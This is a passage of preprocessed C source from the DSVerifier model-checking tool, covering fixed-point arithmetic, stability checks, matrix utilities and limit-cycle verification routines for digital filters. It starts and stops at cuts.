-0.171833624145497f, -0.524918122866141f, 0.961528292650892f, 0.101262818636430f, 0.941455114569308f, -0.967226220138929f, 0.616781547648562f, -0.913823148383971f, 0.274508821885917f, 0.924653374107756f, -0.866302908989783f, 0.227541907715857f, 0.0907574361370582f, -0.127499097943315f, -0.942071371521895f, -0.119419163649152f, 0.674284088819523f, 0.881328505929745f, 0.246290207551702f, 0.0547607254148590f, -0.462882918359077f, 0.888969728230585f, 0.666583509571921f, 0.238417203582380f, -0.279842248122727f, 0.855260336845903f, 0.314306869401155f, -0.188654877893078f, -0.609304918228150f, 0.169453885325888f, 0.265617874907016f, -0.943423537926184f, 0.493118676869450f, -0.386147750024858f, 0.0103920154342951f, 0.753677832518483f, 0.363353012331066f, -0.286620106520429f, -0.623332994906295f, 0.183966714365642f, -0.124278942882867f, -0.687889346448110f, -0.509002319646341f, -0.705769785650865f, 0.600586126467172f, 0.814989294939922f, 0.198959025256652f, 0.477897007911356f, 0.757957814363899f, 0.617755921094230f, -0.353589871947529f, 0.419688673189503f, -0.860584865805600f, -0.0232779635193843f, -0.789951030889387f, -0.893196700185750f, 0.610996462535201f, 0.847373590985131f, -0.989553358501822f, -0.367651771428081f, 0.741563712056747f, -0.923595352848971f, -0.580174215739367f, 0.577092000574232f, -0.910872910110270f, -0.907499077314190f, 0.692372247654077f, 0.810694134592084f, -0.608596332548047f, 0.761254615051625f, 0.0546240611947364f, -0.393956427117691f, -0.116127831535139f, -0.0352014590913388f, 0.374742194768889f, -0.927344099730091f, 0.939301337232488f, -0.969831716293845f, -0.0489333404770240f, -0.586719398908953f, 0.0235541378462407f, 0.388882981728285f, -0.0728483242295113f, 0.418280445244943f, -0.574289337805456f, -0.779962057565259f, -0.835190719754123f, 0.918717316922657f, -0.765889988109173f, -0.935310664146932f, -0.0750906135370848f, -0.256246546197534f, 0.693865929543926f, 0.592800255527084f, 0.836743344551035f, -0.801953470827580f, 0.0595524153568945f, 0.158376549012192f, -0.429364776412726f, -0.450531184162532f, -0.169317185285268f, 0.420344570579195f, -0.902838087574441f, -0.654676904337469f, 0.941802178622893f, -0.411034608875500f, -0.455381371659872f, 0.582371240315256f, -0.276150504466756f, 0.164276403376185f, -0.960238817086774f, 0.590055303394028f, -0.995185688656226f, -0.285809748360467f, -0.792066171752882f, -0.456123303649101f, -0.864169187700384f, 0.798745251308383f, -0.517673464079948f, 0.523086536900369f, 0.398784615211052f, 0.908677185333852f, -0.434846969584770f, -0.277024535706464f, 0.575800013122065f, -0.0423952171673019f, -0.327530749916683f, -0.401220909875065f, -0.232577533032385f, 0.577630268254944f, -0.733290201484409f, -0.297499739456838f, 0.166541885572822f, -0.646828619904039f, 0.0312662656272755f, 0.754145050600965f, -0.908499825108811f, 0.315379190361296f, 0.366242661082351f, 0.867903806940678f, -0.613391940567782f, 0.00760147209048068f, 0.953424134034927f, -0.812551125910811f, 0.734998935207065f, 0.781720854678504f, -0.653974423413561f, 0.612587888218526f, -0.297359914095386f, -0.409559158758694f, -0.143962230212734f, -0.814888102841114f, 0.359131810502055f, 0.356924557741016f, -0.872415989401612f, 0.716849887848809f, -0.374916928585818f, -0.0702264435280595f, 0.329843438660215f, 0.0956097573088677f, -0.937528128860310f, -0.322293489817529f, 0.781444964993177f, -0.810141738751828f, -0.150295079242497f, 0.846909181293597f, -0.128124277517711f, -0.752611695817661f, 0.839996835828451f, -0.0705685941510277f, 0.000366462394740585f, 0.0788016995849923f, -0.246053200655556f, -0.156645099915028f, -0.460752333796863f, 0.622021359864204f, 0.722871957583123f, -0.257873353238499f, -0.309810184480446f, 0.765248644407833f, -0.553316047243663f, -0.612742789838491f, 0.354017349601509f, 0.923293368553697f, 0.630695912377860f, -0.148750121613537f, -0.821801680234240f, 0.368247966228196f, 0.405416044101496f, -0.803232509711354f, -0.429778551911399f, -0.723837414527446f, -0.963925147452133f, 0.190882872226757f, 0.477008077263598f, -0.661282403679070f, 0.271643442525556f, -0.915994079618801f, 0.196564556546175f, 0.378359035245796f, 0.584016730657668f, -0.0377864332655202f, -0.327376192853106f, 0.850744189707984f, 0.799571679043808f, -0.111126908452029f, 0.525587242291601f, -0.404486180733535f, -0.134496922397279f, 0.0890128096708100f, -0.815560643303157f, -0.920166023598312f, -0.360079578314899f, -0.556238898466371f, -0.220978103133838f, -0.571530268052405f, 0.573332217175226f, -0.133862258696460f, -0.982130330352248f, -0.352538465285082f, 0.318683937697894f, -0.790927430842686f, 0.691168535237102f, 0.806014327242002f, -0.981639450008060f, 0.407200095027265f, 0.918249921845949f, 0.776880149695420f, -0.437773083955269f, -0.385117533333437f, 0.0115152415796460f, 0.687224538003991f, 0.992524870612626f, 0.471003324792228f, -0.873541777412034f, -0.560923118634380f, -0.726151823613842f, -0.538941951730010f, 0.772057551475325f, 0.858490725829641f, -0.168849338472479f };
# 102 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t wrap(fxp_t kX, fxp_t kLowerBound, fxp_t kUpperBound)
{
int32_t range_size = kUpperBound - kLowerBound + 1;
if (kX < kLowerBound){
kX += range_size * ((kLowerBound - kX) / range_size + 1);
}
return kLowerBound + (kX - kLowerBound) % range_size;
}
fxp_t fxp_get_int_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_imask) : in & _fxp_imask);
}
fxp_t fxp_get_frac_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_fmask) : in & _fxp_fmask);
}
float fxp_to_float(fxp_t fxp);
fxp_t fxp_quantize(fxp_t aquant) {
if (overflow_mode == 2) {
if(aquant < _fxp_min) {
return _fxp_min;
}
else if(aquant > _fxp_max) {
return _fxp_max;
}
}
else if (overflow_mode == 3) {
if(aquant < _fxp_min || aquant > _fxp_max) {
return wrap(aquant, _fxp_min, _fxp_max);
}
}
return (fxp_t) aquant;
}
void fxp_verify_overflow(fxp_t value){
fxp_quantize(value);
printf("An Overflow Occurred in system's output");
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
void fxp_verify_overflow_node(fxp_t value, char* msg){
if (2 == 2)
{
printf("%s",msg);
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
}
void fxp_verify_overflow_array(fxp_t array[], int n){
int i=0;
for(i=0; i<n;i++){
fxp_verify_overflow(array[i]);
}
}
fxp_t fxp_int_to_fxp(int in) {
fxp_t lin;
lin = (fxp_t) in*_fxp_one;
return lin;
}
int fxp_to_int(fxp_t fxp) {
if(fxp >= 0){
fxp += _fxp_half;
} else {
fxp -= _fxp_half;
}
fxp >>= impl.frac_bits;
return (int) fxp;
}
fxp_t fxp_float_to_fxp(float f) {
fxp_t tmp;
double ftemp;
ftemp = f * scale_factor[impl.frac_bits];
if(f >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
return tmp;
}
fxp_t fxp_double_to_fxp(double value) {
fxp_t tmp;
double ftemp = value * scale_factor[impl.frac_bits];
if (rounding_mode == 0){
if(value >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
} else if(rounding_mode == 1){
tmp = (fxp_t) ftemp;
double residue = ftemp - tmp;
if ((value < 0) && (residue != 0)){
ftemp = ftemp - 1;
tmp = (fxp_t) ftemp;
}
} else if (rounding_mode == 0){
tmp = (fxp_t) ftemp;
}
return tmp;
}
void fxp_float_to_fxp_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_float_to_fxp(f[i]);
}
}
void fxp_double_to_fxp_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_double_to_fxp(f[i]);
}
}
# 275 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
float fxp_to_float(fxp_t fxp) {
float f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
double fxp_to_double(fxp_t fxp) {
double f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
void fxp_to_float_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_float(r[i]);
}
}
void fxp_to_double_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_double(r[i]);
}
}
fxp_t fxp_abs(fxp_t a) {
fxp_t tmp;
tmp = ((a < 0) ? -(fxp_t)(a) : a);
tmp = fxp_quantize(tmp);
return tmp;
}
fxp_t fxp_add(fxp_t aadd, fxp_t badd) {
fxp_t tmpadd;
tmpadd = ((fxp_t)(aadd) + (fxp_t)(badd));
tmpadd = fxp_quantize(tmpadd);
return tmpadd;
}
fxp_t fxp_sub(fxp_t asub, fxp_t bsub) {
fxp_t tmpsub;
tmpsub = (fxp_t)((fxp_t)(asub) - (fxp_t)(bsub));
tmpsub = fxp_quantize(tmpsub);
return tmpsub;
}
fxp_t fxp_mult(fxp_t amult, fxp_t bmult) {
fxp_t tmpmult, tmpmultprec;
tmpmult = (fxp_t)((fxp_t)(amult)*(fxp_t)(bmult));
if (tmpmult >= 0) {
tmpmultprec = (tmpmult + ((tmpmult & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits;
} else {
tmpmultprec = -(((-tmpmult) + (((-tmpmult) & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits);
}
tmpmultprec = fxp_quantize(tmpmultprec);
return tmpmultprec;
}
# 372 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_div(fxp_t a, fxp_t b){
__DSVERIFIER_assume( b!=0 );
fxp_t tmpdiv = ((a << impl.frac_bits) / b);
tmpdiv = fxp_quantize(tmpdiv);
return tmpdiv;
}
fxp_t fxp_neg(fxp_t aneg) {
fxp_t tmpneg;
tmpneg = -(fxp_t)(aneg);
tmpneg = fxp_quantize(tmpneg);
return tmpneg;
}
# 398 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_sign(fxp_t a) {
return ((a == 0) ? 0 : ((a < 0) ? _fxp_minus_one : _fxp_one) );
}
fxp_t fxp_shrl(fxp_t in, int shift) {
return (fxp_t) (((unsigned int) in) >> shift);
}
fxp_t fxp_square(fxp_t a) {
return fxp_mult(a, a);
}
void fxp_print_int(fxp_t a) {
printf("\n%i", (int32_t)a);
}
void fxp_print_float(fxp_t a) {
printf("\n%f", fxp_to_float(a));
}
void fxp_print_float_array(fxp_t a[], int N) {
int i;
for(i = 0; i < N; ++i) {
printf("\n%f", fxp_to_float(a[i]));
}
}
void print_fxp_array_elements(char * name, fxp_t * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %jd ", v[i]);
}
printf("}\n");
}
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 1
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
void initialize_array(double v[], int n){
int i;
for(i=0; i<n; i++){
v[i] = 0;
}
}
void revert_array(double v[], double out[], int n){
initialize_array(out,n);
int i;
for(i=0; i<n; i++){
out[i] = v[n-i-1];
}
}
double internal_pow(double a, double b){
int i;
double acc = 1;
for (i=0; i < b; i++){
acc = acc*a;
}
return acc;
}
double internal_abs(double a){
return a < 0 ? -a : a;
}
int fatorial(int n){
return n == 0 ? 1 : n * fatorial(n-1);
}
int check_stability(double a[], int n){
int lines = 2 * n - 1;
int columns = n;
double m[lines][n];
int i,j;
double current_stability[n];
for (i=0; i < n; i++){
current_stability[i] = a[i];
}
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
if (sum <= 0){
printf("[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)");
return 0;
}
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
if (sum <= 0){
printf("[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)");
return 0;
}
if (internal_abs(a[n-1]) > a[0]){
printf("[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})");
return 0;
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
}
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
}
}
}
int first_is_positive = m[0][0] >= 0 ? 1 : 0;
for (i=0; i < lines; i++){
if (i % 2 == 0){
int line_is_positive = m[i][0] >= 0 ? 1 : 0;
if (first_is_positive != line_is_positive){
return 0;
}
continue;
}
}
return 1;
}
void poly_sum(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
Nans = Na>Nb? Na:Nb;
for (i=0; i<Nans; i++){
if (Na>Nb){
ans[i]=a[i];
if (i > Na-Nb-1){
ans[i]=ans[i]+b[i-Na+Nb];
}
}else {
ans[i]=b[i];
if (i> Nb - Na -1){
ans[i]=ans[i]+a[i-Nb+Na];
}
}
}
}
void poly_mult(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
int j;
int k;
Nans = Na+Nb-1;
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=0;
}
}
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=ans[k]+a[Na - i - 1]*b[Nb - j - 1];
}
}
}
void double_check_oscillations(double * y, int y_size){
__DSVERIFIER_assume(y[0] != y[y_size - 1]);
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
((void) sizeof ((
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ; else __assert_fail (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
"!(window_count == window_size)"
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h", 209, __extension__ __PRETTY_FUNCTION__); }))
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
;
}
}else{
break;
}
window_timer++;
}
}
}
void double_check_limit_cycle(double * y, int y_size){
double reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assert(desired_elements != found_elements);
}
void double_check_persistent_limit_cycle(double * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
double reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
double lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void print_array_elements(char * name, double * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %.32f ", v[i]);
}
printf("}\n");
}
void double_add_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] + m2[i][j];
}
}
}
void double_sub_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] - m2[i][j];
}
}
}
void double_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, double m1[4][4], double m2[4][4], double m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
double mult = (m1[i][k] * m2[k][j]);
m3[i][j] = m3[i][j] + (m1[i][k] * m2[k][j]);
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
m3[i][j] = fxp_add( m3[i][j], fxp_mult(m1[i][k] , m2[k][j]));
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_exp_matrix(unsigned int lines, unsigned int columns, fxp_t m1[4][4], unsigned int expNumber, fxp_t result[4][4]){
unsigned int i, j, l, k;
fxp_t m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = fxp_double_to_fxp(1.0);
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = fxp_add( result[i][j], fxp_mult(m2[i][k] , m1[k][j]));
}
}
}
}
}
void double_exp_matrix(unsigned int lines, unsigned int columns, double m1[4][4], unsigned int expNumber, double result[4][4]){
unsigned int i, j, k, l;
double m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = 1.0;
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = result[i][j] + (m2[i][k] * m1[k][j]);
}
}
}
}
}
void fxp_add_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) {
result[i][j] = fxp_add(m1[i][j] , m2[i][j]);
}
}
void fxp_sub_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = fxp_sub(m1[i][j] , m2[i][j]);
}
void print_matrix(double matrix[4][4], unsigned int lines, unsigned int columns){
printf("\nMatrix\n=====================\n\n");
unsigned int i, j;
for (i=0; i<lines; i++) {
for (j=0; j<columns; j++) {
printf("#matrix[%d][%d]: %2.2f ", i,j,matrix[i][j]);
}
printf("\n");
}
printf("\n");
}
double determinant(double a[4][4],int n)
{
int i,j,j1,j2;
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
double fxp_determinant(fxp_t a_fxp[4][4],int n)
{
int i,j,j1,j2;
double a[4][4];
for(i=0; i<n;i++){
for(j=0; j<n;j++){
a[i][j]= fxp_to_double(a_fxp[i][j]);
}
}
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
void transpose(double a[4][4], double b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
void fxp_transpose(fxp_t a[4][4], fxp_t b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
extern int generic_timer;
extern hardware hw;
double generic_timing_shift_l_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[0];
generic_timer += ((5 * hw.assembly.ldd) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.ld));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < N - 1; i++) {
generic_timer += ((17 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (6 * hw.assembly.mov) + (2 * hw.assembly.adiw) + (5 * hw.assembly.std) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbc)+ (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
z[i] = z[i + 1];
}
z[N - 1] = zIn;
generic_timer += ((12 * hw.assembly.ldd) + (6 * hw.assembly.mov) + (3 * hw.assembly.std) + (2 * hw.assembly.lsl) + (2 * hw.assembly.rol) + (1 * hw.assembly.adc) + (1 * hw.assembly.add) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in)+ (1 * hw.assembly.cli));
generic_timer += ((3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret));
return (zOut);
}
double generic_timing_shift_r_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[N - 1];
generic_timer += ((7 * hw.assembly.ldd) + (2 * hw.assembly.rol) + (2 * hw.assembly.lsl) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.add) + (1 * hw.assembly.adc) + (1 * hw.assembly.ld) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci));
generic_timer += ((2 * hw.assembly.ldd) + (2 * hw.assembly.std) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.rjmp));
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
generic_timer += ((15 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (4 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
}
z[0] = zIn;
generic_timer += ((10 * hw.assembly.ldd) + (5 * hw.assembly.mov) + (3 * hw.assembly.std) + (3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret) + (1 * hw.assembly.ret) + (1 * hw.assembly.cli) + (1 * hw.assembly.in) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw));
return zOut;
}
fxp_t shiftL(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
fxp_t shiftR(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
float shiftLfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
float shiftRfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftRDdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
double shiftRdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftLDouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
void shiftLboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[0];
zfOut = zf[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
zf[i] = zf[i + 1];
}
z[N - 1] = zIn;
zf[N - 1] = zfIn;
}
void shiftRboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[N - 1];
zfOut = zf[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
zf[i] = zf[i - 1];
}
z[0] = zIn;
zf[0] = zfIn;
}
int order(int Na, int Nb) {
return Na > Nb ? Na - 1 : Nb - 1;
}
void fxp_check_limit_cycle(fxp_t y[], int y_size){
fxp_t reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
